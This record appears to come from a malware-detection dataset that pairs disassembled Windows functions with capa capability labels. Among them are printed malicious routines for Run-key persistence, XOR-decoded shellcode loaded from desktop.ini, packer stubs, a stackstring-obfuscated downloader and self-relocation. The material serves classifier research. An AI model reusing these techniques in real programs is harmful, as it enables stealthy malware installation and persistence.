joyce8/EMBER2024-capa huggingface dataset:
Function at 0x471c74
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffddc
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x220], edx
mov dword [ebp - 0x224], edx
mov dword [ebp - 0x21c], edx
mov dword [ebp - 0x218], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x471dd7
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
mov dword [ebp - 8], eax
xor eax, eax
push ebp
push 0x471cf2
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 0x23
lea eax, [ebp - 0x212]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.shell32.dll_SHGetSpecialFolderPathW
mov eax, dword [ebp - 4]
add eax, 8
lea edx, [ebp - 0x212]
mov ecx, 0x105
call fcn.004012f0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x471d1d
xor eax, eax
push ebp
push 0x471d5f
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 0x1a
lea eax, [ebp - 0x212]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.shell32.dll_SHGetSpecialFolderPathW
mov eax, dword [ebp - 4]
add eax, 4
lea edx, [ebp - 0x212]
mov ecx, 0x105
call fcn.004012f0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x471d8a
lea edx, [ebp - 0x224]
xor eax, eax
call fcn.00401030
mov eax, dword [ebp - 0x224]
lea edx, [ebp - 0x220]
call fcn.00406ff0
mov edx, dword [ebp - 0x220]
mov eax, dword [ebp - 4]
add eax, 0xc
call fcn.004012b8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x471dde
lea eax, [ebp - 0x224]
mov edx, 4
call fcn.004012b0
ret
Function at 0x493c10
Capabilities:
Copy file

Disassembly:
push ebp
mov ebp, esp
mov ecx, 4
push 0
push 0
dec ecx
jne 0x493c18
push ecx
push ebx
push esi
mov dword [ebp - 4], edx
mov ebx, eax
mov eax, dword [ebp - 4]
call fcn.004012a0
xor eax, eax
push ebp
push 0x493df6
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebx + 0x14]
cmp eax, dword [ebx + 0x18]
jl 0x493d32
push dword [ebx + 0xc]
push 0x493e10
lea edx, [ebp - 0x10]
movzx eax, byte [ebx + 0x1c]
call fcn.00406f80
push dword [ebp - 0x10]
lea eax, [ebp - 8]
mov edx, 3
call fcn.00401340
mov eax, dword [ebp - 8]
call fcn.00406fa8
test al, al
je 0x493c81
mov eax, dword [ebp - 8]
call fcn.00406fd8
movzx esi, byte [ebx + 0x1c]
dec esi
cmp esi, 1
jl 0x493cec
push dword [ebx + 0xc]
push 0x493e10
lea edx, [ebp - 0x14]
mov eax, esi
call fcn.00406f80
push dword [ebp - 0x14]
lea eax, [ebp - 8]
mov edx, 3
call fcn.00401340
mov eax, dword [ebp - 8]
call fcn.00406fa8
test al, al
je 0x493ce7
push dword [ebx + 0xc]
push 0x493e10
lea edx, [ebp - 0x1c]
lea eax, [esi + 1]
call fcn.00406f80
push dword [ebp - 0x1c]
lea eax, [ebp - 0x18]
mov edx, 3
call fcn.00401340
mov edx, dword [ebp - 0x18]
mov eax, dword [ebp - 8]
call fcn.00406fe0
dec esi
test esi, esi
jne 0x493c8b
push 0
lea eax, [ebp - 0x20]
mov ecx, 0x493e28
mov edx, dword [ebx + 0xc]
call fcn.00401338
mov eax, dword [ebp - 0x20]
call fcn.004012c8
push eax
mov eax, dword [ebx + 0xc]
call fcn.004012c8
push eax
call sub.kernel32.dll_CopyFileW
push 0
push 0
mov eax, dword [ebx + 0x10]
call fcn.00406b38
push 0
push 0
mov eax, dword [ebx + 0x10]
call fcn.00406b30
xor eax, eax
mov dword [ebx + 0x14], eax
cmp dword [ebx + 0x14], 0
jne 0x493d55
mov word [ebp - 0xa], 0xfeff
lea edx, [ebp - 0xa]
mov ecx, 2
mov eax, dword [ebx + 0x10]
call fcn.00406b48
mov dword [ebx + 0x14], 2
cmp byte [ebx + 0x1d], 0
je 0x493d84
call fcn.00407090
add esp, 0xfffffff8
fstp qword [esp]
wait
lea edx, [ebp - 0x24]
mov eax, 0x493e40
call fcn.00407098
mov eax, dword [ebp - 0x24]
lea edx, [ebp - 4]
mov ecx, 1
call fcn.00401360
lea eax, [ebp - 4]
mov edx, 0x493e80
call fcn.00401330
lea eax, [ebp - 4]
call fcn.00401220
call fcn.00401320
add eax, eax
push eax
lea eax, [ebp - 4]
call fcn.00401220
lea eax, [ebp - 4]
call fcn.00401370
mov edx, eax
mov eax, dword [ebx + 0x10]
pop ecx
mov esi, dword [eax]
call dword [esi + 0x10]
lea eax, [ebp - 4]
call fcn.00401220
call fcn.00401320
add eax, eax
add dword [ebx + 0x14], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x493dfd
lea eax, [ebp - 0x24]
mov edx, 6
call fcn.004012b0
lea eax, [ebp - 8]
mov edx, 2
call fcn.004012b0
ret
Function at 0x49656c
Capabilities:
Get file system object information

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffd48
push ebx
mov ebx, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004012a0
xor eax, eax
push ebp
push 0x4965dd
push dword fs:[eax]
mov dword fs:[eax], esp
test bl, bl
je 0x49659c
mov ebx, 0x111
jmp 0x4965a1
mov ebx, 0x110
push ebx
push 0x2b4
lea eax, [ebp - 0x2b8]
push eax
push 0x80
mov eax, dword [ebp - 4]
call fcn.004012c8
push eax
call sub.shell32.dll_SHGetFileInfoW
mov ebx, dword [ebp - 0x2b8]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4965e4
lea eax, [ebp - 4]
call fcn.004012a8
ret

Function at 0x4965ec
Capabilities:
Get file system object information

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffd48
push ebx
mov ebx, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004012a0
xor eax, eax
push ebp
push 0x49665a
push dword fs:[eax]
mov dword fs:[eax], esp
test bl, bl
je 0x49661c
mov ebx, 0x101
jmp 0x496621
mov ebx, pe_nt_image_headers32
push ebx
push 0x2b4
lea eax, [ebp - 0x2b8]
push eax
push 0
mov eax, dword [ebp - 4]
call fcn.004012c8
push eax
call sub.shell32.dll_SHGetFileInfoW
mov ebx, dword [ebp - 0x2b8]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x496661
lea eax, [ebp - 4]
call fcn.004012a8
ret

Function at 0x497744
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push ebx
xor eax, eax
push ebp
push 0x49783b
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [0x4f2dd0]
cmp dword [eax], 6
jl 0x497820
call fcn.004973f0
mov ebx, eax
lea edx, [ebp - 8]
mov eax, ebx
call fcn.00406f80
mov ecx, dword [ebp - 8]
lea eax, [ebp - 4]
mov edx, 0x497854
call fcn.00401338
mov eax, dword [ebp - 4]
call fcn.004012c8
push eax
call sub.kernel32.dll_OutputDebugStringW
cmp ebx, 3
jge 0x4977c8
mov eax, dword [0x4f2dd0]
cmp dword [eax], 0xa
jge 0x4977c8
cmp dword [0x4aec18], 0
je 0x4977b5
call dword [0x4aec18]
cmp dword [0x4aec1c], 0
je 0x497820
push 2
call dword [0x4aec1c]
jmp 0x497820
cmp dword [0x4aec1c], 0
je 0x4977db
push 2
call dword [0x4aec1c]
jmp 0x497820
xor eax, eax
mov dword [0x4ef298], eax
push 0x49789c
call sub.kernel32.dll_GetModuleHandleW
mov dword [0x4ef298], eax
cmp dword [0x4ef298], 0xffffffff
je 0x49780f
push 0x4978b4
mov eax, dword [0x4ef298]
push eax
call fcn.004016e0
mov dword [0x4aec1c], eax
cmp dword [0x4aec1c], 0
je 0x497820
push 2
call dword [0x4aec1c]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x497842
lea eax, [ebp - 8]
mov edx, 2
call fcn.004012b0
ret
Function at 0x497a84
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffee8
push ebx
push esi
xor ecx, ecx
mov dword [ebp - 0x118], ecx
test dl, dl
je 0x497aa3
add esp, 0xfffffff0
call fcn.00401150
mov ebx, edx
mov esi, eax
xor eax, eax
push ebp
push 0x497b47
push dword fs:[eax]
mov dword fs:[eax], esp
mov edx, 0x80000001
mov eax, esi
call fcn.00497bfc
mov dword [esi + 0x18], 0xf003f
mov byte [esi + 0xc], 1
xor eax, eax
mov dword [esi + 0x1c], eax
mov dword [ebp - 0x114], 0x114
lea eax, [ebp - 0x114]
push eax
call sub.kernel32.dll_GetVersionExW
cmp dword [ebp - 0x110], 5
jne 0x497af9
call fcn.00458e94
test al, al
jne 0x497b27
cmp dword [ebp - 0x110], 5
ja 0x497b27
lea edx, [ebp - 0x118]
xor eax, eax
call fcn.00458028
mov eax, dword [ebp - 0x118]
mov edx, 0x497b78
call fcn.00406f58
test al, al
jne 0x497b27
xor eax, eax
jmp 0x497b29
mov al, 1
mov byte [0x4ef29c], al
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x497b4e
lea eax, [ebp - 0x118]
call fcn.004012a8
ret
Function at 0x497e34
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffc4
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 4], ecx
mov dword [ebp - 8], edx
mov esi, eax
xor eax, eax
push ebp
push 0x497fe7
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0x10], 0xffffffff
mov dword [ebp - 0xc], 0xffffffff
xor ebx, ebx
lea eax, [ebp - 4]
xor edx, edx
call fcn.004012c0
lea eax, [ebp - 0x18]
push eax
push 0
lea eax, [ebp - 0x14]
push eax
push 0
mov eax, dword [ebp - 8]
call fcn.004012c8
push eax
mov eax, dword [esi + 4]
push eax
call sub.advapi32.dll_RegQueryValueExW
mov edi, eax
test edi, edi
jne 0x497f90
cmp dword [ebp - 0x14], 4
jne 0x497f09
mov dword [ebp - 0x1c], 0xffffffff
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x14]
push eax
push 0
mov eax, dword [ebp - 8]
call fcn.004012c8
push eax
mov eax, dword [esi + 4]
push eax
call sub.advapi32.dll_RegQueryValueExW
mov edi, eax
test edi, edi
jne 0x497eea
mov eax, dword [ebp - 0x1c]
cdq
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], edx
mov bl, 1
jmp 0x497faa
lea edx, [ebp - 0x2c]
mov eax, edi
call fcn.00406f80
mov ecx, dword [ebp - 0x2c]
lea eax, [ebp - 4]
mov edx, 0x498008
call fcn.00401338
jmp 0x497faa
cmp dword [ebp - 0x14], 0xb
jne 0x497f6f
mov dword [ebp - 0x28], 0xffffffff
mov dword [ebp - 0x24], 0xffffffff
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x14]
push eax
push 0
mov eax, dword [ebp - 8]
call fcn.004012c8
push eax
mov eax, dword [esi + 4]
push eax
call sub.advapi32.dll_RegQueryValueExW
mov edi, eax
test edi, edi
jne 0x497f53
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0xc], eax
mov bl, 1
jmp 0x497faa
lea edx, [ebp - 0x30]
mov eax, edi
call fcn.00406f80
mov ecx, dword [ebp - 0x30]
lea eax, [ebp - 4]
mov edx, 0x498038
call fcn.00401338
jmp 0x497faa
mov eax, dword [ebp - 0x14]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x34]
call fcn.00406f88
mov ecx, dword [ebp - 0x34]
lea eax, [ebp - 4]
mov edx, 0x498068
call fcn.00401338
jmp 0x497faa
lea edx, [ebp - 0x38]
mov eax, edi
call fcn.00406f80
mov ecx, dword [ebp - 0x38]
lea eax, [ebp - 4]
mov edx, 0x498090
call fcn.00401338
test bl, bl
jne 0x497fc4
lea eax, [ebp - 0x3c]
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 8]
call fcn.00401338
mov eax, dword [ebp - 0x3c]
call fcn.004979fc
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x497fee
lea eax, [ebp - 0x3c]
mov edx, 5
call fcn.004012b0
lea eax, [ebp - 4]
call fcn.004012a8
ret
Function at 0x49e864
Capabilities:
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
xor ecx, ecx
mov dword [ebp - 8], ecx
mov dword [ebp - 0xc], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004012a0
xor eax, eax
push ebp
push 0x49e919
push dword fs:[eax]
mov dword fs:[eax], esp
mov dl, 1
mov eax, dword [0x4f3154]
call fcn.00407670
mov dword [ebp - 0x10], eax
xor eax, eax
push ebp
push 0x49e8ec
push dword fs:[eax]
mov dword fs:[eax], esp
mov edx, 0x80000001
mov eax, dword [ebp - 0x10]
call fcn.00407680
xor ecx, ecx
mov edx, 0x49e930
mov eax, dword [ebp - 0x10]
call fcn.00407688
test al, al
je 0x49e8d6
lea ecx, [ebp - 8]
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 0x10]
call fcn.00407698
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x49e8f3
mov eax, dword [ebp - 0x10]
call fcn.004010c8
ret

Function at 0x4a6860
Capabilities:
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
xor ecx, ecx
mov dword [ebp - 8], ecx
mov dword [ebp - 0xc], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004012a0
xor eax, eax
push ebp
push 0x4a6915
push dword fs:[eax]
mov dword fs:[eax], esp
mov dl, 1
mov eax, dword [0x4f3154]
call fcn.00407670
mov dword [ebp - 0x10], eax
xor eax, eax
push ebp
push 0x4a68e8
push dword fs:[eax]
mov dword fs:[eax], esp
mov edx, 0x80000001
mov eax, dword [ebp - 0x10]
call fcn.00407680
xor ecx, ecx
mov edx, 0x4a692c
mov eax, dword [ebp - 0x10]
call fcn.00407688
test al, al
je 0x4a68d2
lea ecx, [ebp - 8]
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 0x10]
call fcn.00407698
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4a68ef
mov eax, dword [ebp - 0x10]
call fcn.004010c8
ret

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10
Function at 0x432003
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
mov eax, section..rsrc
nop
nop
nop
push 4
nop
nop
nop
nop
nop
pop edi
nop
nop
nop
cmp eax, 0
nop
nop
nop
je 0x432072
nop
nop
nop
nop
mov ebx, 0x40c7d0
nop
nop
nop
mov ecx, ebx
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
pop eax
nop
nop
nop
nop
mov esi, 0x1f7e0c92
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
loop 0x432060
nop
nop
nop
nop
mov eax, section..data
cmp eax, 0
nop
nop
nop
nop
nop
nop
je 0x4320d2
nop
mov ebx, 0x42f314
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
push eax
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
mov esi, 0x4a6b143c
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
loop 0x4320c0
nop
nop
nop
popal
nop
nop
jmp 0x431219
Function at 0x58e4b0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0xf2000]
push edi
or ebp, 0xffffffff
jmp 0x58e4d2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x58e4d9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x58e4c8
mov eax, 1
add ebx, ebx
jne 0x58e4eb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x58e4e0
jne 0x58e4fc
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x58e4e0
xor ecx, ecx
sub eax, 3
jb 0x58e510
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x58e582
mov ebp, eax
add ebx, ebx
jne 0x58e51b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x58e528
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x58e54c
inc ecx
add ebx, ebx
jne 0x58e538
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x58e52d
jne 0x58e549
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x58e52d
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x58e56c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x58e55d
jmp 0x58e4ce
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x58e56c
add edi, ecx
jmp 0x58e4ce
pop esi
mov edi, esi
mov ecx, 0x7fb
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x58e58a
mov eax, dword [edi]
mov bl, byte [edi + 4]
xchg ah, al
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x58e58f
lea edi, [esi + 0x18c000]
mov eax, dword [edi]
or eax, eax
je 0x58e600
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x18e95c]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x18e998]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x58e5b5
mov ecx, edi
jns 0x58e5e4
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x18e9a0]
or eax, eax
je 0x58e5fa
mov dword [ebx], eax
add ebx, 4
jmp 0x58e5d2
call dword [esi + 0x18e99c]
mov ebp, dword [esi + 0x18e9a4]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x1d7]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x58e634
sub esp, 0xffffff80
jmp 0x4010c4
Function at 0x401000
Capabilities:
Create thread

Disassembly:
mov eax, dword [esp + 8]
mov ecx, dword [esp + 4]
push 0
push 0
push eax
push ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
ret 8

Function at 0x401390
Capabilities:
Contain obfuscated stackstrings
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov ecx, dword [ebp + 0x10]
push ebx
push esi
mov edx, ecx
push edi
mov edi, dword [ebp + 0xc]
xor eax, eax
mov bl, 0x6e
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
mov byte [ebp - 0x14], 0x77
and ecx, 3
mov byte [ebp - 0x12], bl
rep stosb byte es:[edi], al
mov al, 0x69
mov byte [ebp - 0x10], bl
mov byte [ebp - 0x13], al
mov byte [ebp - 0x11], al
mov al, 0x6c
mov byte [ebp - 0xf], 0x65
mov byte [ebp - 0xb], al
mov byte [ebp - 0xa], al
lea eax, [ebp - 0x14]
mov byte [ebp - 0xe], 0x74
push eax
mov byte [ebp - 0xd], 0x2e
mov byte [ebp - 0xc], 0x64
mov byte [ebp - 9], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
test esi, esi
je 0x401528
lea ecx, [ebp - 0x24]
mov byte [ebp - 0x24], 0x49
push ecx
push esi
mov byte [ebp - 0x23], bl
mov byte [ebp - 0x22], 0x74
mov byte [ebp - 0x21], 0x65
mov byte [ebp - 0x20], 0x72
mov byte [ebp - 0x1f], bl
mov byte [ebp - 0x1e], 0x65
mov byte [ebp - 0x1d], 0x74
mov byte [ebp - 0x1c], 0x4f
mov byte [ebp - 0x1b], 0x70
mov byte [ebp - 0x1a], 0x65
mov byte [ebp - 0x19], bl
mov byte [ebp - 0x18], 0x41
mov byte [ebp - 0x17], 0
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
push 0
push 0
push 0
push 0
push str.baidu
call eax
mov edi, eax
test edi, edi
mov dword [ebp - 8], edi
je 0x4014f9
mov edx, dword [ebp + 8]
push 0
push 0x4000000
push 0
push 0
push edx
push edi
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov ebx, eax
test ebx, ebx
je 0x4014f2
mov ecx, dword [ebp + 0x10]
mov edi, dword [ebp + 0xc]
mov edx, ecx
xor eax, eax
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov ecx, edx
mov edx, dword [ebp + 0xc]
lea eax, [ebp - 4]
dec ecx
push eax
push ecx
push edx
push ebx
call dword [sym.imp.WININET.dll_InternetReadFile]
push ebx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov edi, dword [ebp - 8]
push edi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov esi, dword [ebp + 0xc]
push 0x4093c0
push esi
call dword [sym.imp.SHLWAPI.dll_StrStrA]
test eax, eax
je 0x40151f
pop edi
pop esi
mov eax, str.DOWNFAIL
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x401a00
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
push ebx
push esi
xor ebx, ebx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
push 0x20
lea eax, [ebp - 0x104]
push str.hra_u.dll
push eax
call dword [0x409dcc]
add esp, 0xc
lea ecx, [ebp - 0x104]
push ecx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
test esi, esi
je 0x401b39
push edi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.StartWork
push esi
call edi
push str.StopWork
push esi
mov dword [0x40a290], eax
call edi
test eax, eax
mov dword [0x40a294], eax
pop edi
je 0x401b25
mov eax, dword [0x40a290]
test eax, eax
je 0x401b25
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
lea edx, [ebp - 0x104]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, ebx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4026d0
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0x10]
mov ecx, 0xfe
and eax, 0xff
push esi
cdq
idiv ecx
inc dl
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov esi, dword [ebp + 0xc]
test esi, esi
jbe 0x402707
mov eax, dword [ebp + 8]
mov cl, byte [eax]
sub cl, dl
xor cl, dl
mov byte [eax], cl
inc eax
dec esi
jne 0x4026fb
pop esi
pop ebp
ret
Function at 0x402710
Capabilities:
Contain obfuscated stackstrings
Get common file path
Move file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x21c
mov al, 0x65
push esi
mov byte [ebp - 0x13], al
mov byte [ebp - 0xc], al
mov byte [ebp - 8], al
mov byte [ebp - 4], al
lea eax, [ebp - 0x14]
push edi
mov cl, 0x6c
push eax
push str.kernel32.dll
mov byte [ebp - 0x14], 0x47
mov byte [ebp - 0x12], 0x74
mov byte [ebp - 0x11], 0x4d
mov byte [ebp - 0x10], 0x6f
mov byte [ebp - 0xf], 0x64
mov byte [ebp - 0xe], 0x75
mov byte [ebp - 0xd], cl
mov byte [ebp - 0xb], 0x46
mov byte [ebp - 0xa], 0x69
mov byte [ebp - 9], cl
mov byte [ebp - 7], 0x4e
mov byte [ebp - 6], 0x61
mov byte [ebp - 5], 0x6d
mov byte [ebp - 3], 0x41
mov byte [ebp - 2], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edx, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x117]
mov byte [ebp - 0x118], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea ecx, [ebp - 0x118]
push 0x104
push ecx
push 0
stosb byte es:[edi], al
call edx
lea edx, [ebp - 0x21c]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [ebp - 0x21c]
push str.SOFTWARE.LOG
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov esi, dword [sym.imp.KERNEL32.dll_MoveFileExA]
lea ecx, [ebp - 0x21c]
push 3
lea edx, [ebp - 0x118]
push ecx
push edx
call esi
test eax, eax
je 0x4027fe
push 5
lea eax, [ebp - 0x21c]
push 0
push eax
call esi
pop edi
pop esi
mov esp, ebp
pop ebp
ret